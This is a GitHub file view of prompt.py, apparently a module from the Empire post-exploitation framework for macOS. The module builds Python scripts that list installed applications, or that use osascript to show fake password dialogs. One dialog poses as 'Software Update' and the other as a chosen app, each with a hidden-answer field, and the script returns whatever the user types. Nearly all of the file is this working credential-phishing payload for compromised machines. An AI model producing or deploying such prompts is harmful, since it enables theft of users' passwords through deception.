forked from EmpireProject/Empire
-
-
Notifications
You must be signed in to change notification settings - Fork 584
/
Copy pathprompt.py
49 lines (43 loc) · 1.7 KB
/
prompt.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from empire.server.common.empire import MainMenu
from empire.server.core.module_models import EmpireModule
class Module:
@staticmethod
def generate(
main_menu: MainMenu,
module: EmpireModule,
params: dict,
obfuscate: bool = False,
obfuscation_command: str = "",
) -> tuple[str | None, str | None]:
listApps = params["ListApps"]
appName = params["AppName"]
sandboxMode = params["SandboxMode"]
if listApps != "":
script = """
import os
apps = [ app.split('.app')[0] for app in os.listdir('/Applications/') if not app.split('.app')[0].startswith('.')]
choices = []
for x in xrange(len(apps)):
choices.append("[%s] %s " %(x+1, apps[x]) )
print("\\nAvailable applications:\\n")
print('\\n'.join(choices))
"""
else:
if sandboxMode != "":
# osascript prompt for the current application with System Preferences icon
script = """
import os
print(os.popen('osascript -e \\\'display dialog "Software Update requires that you type your password to apply changes." & return & return default answer "" with hidden answer with title "Software Update"\\\'').read())
"""
else:
# osascript prompt for the specific application
script = """
import os
print(os.popen('osascript -e \\\'tell app "{}" to activate\\\' -e \\\'tell app "{}" to display dialog "{} requires your password to continue." & return default answer "" with icon 1 with hidden answer with title "{} Alert"\\\'').read())
""".format(
appName,
appName,
appName,
appName,
)
return script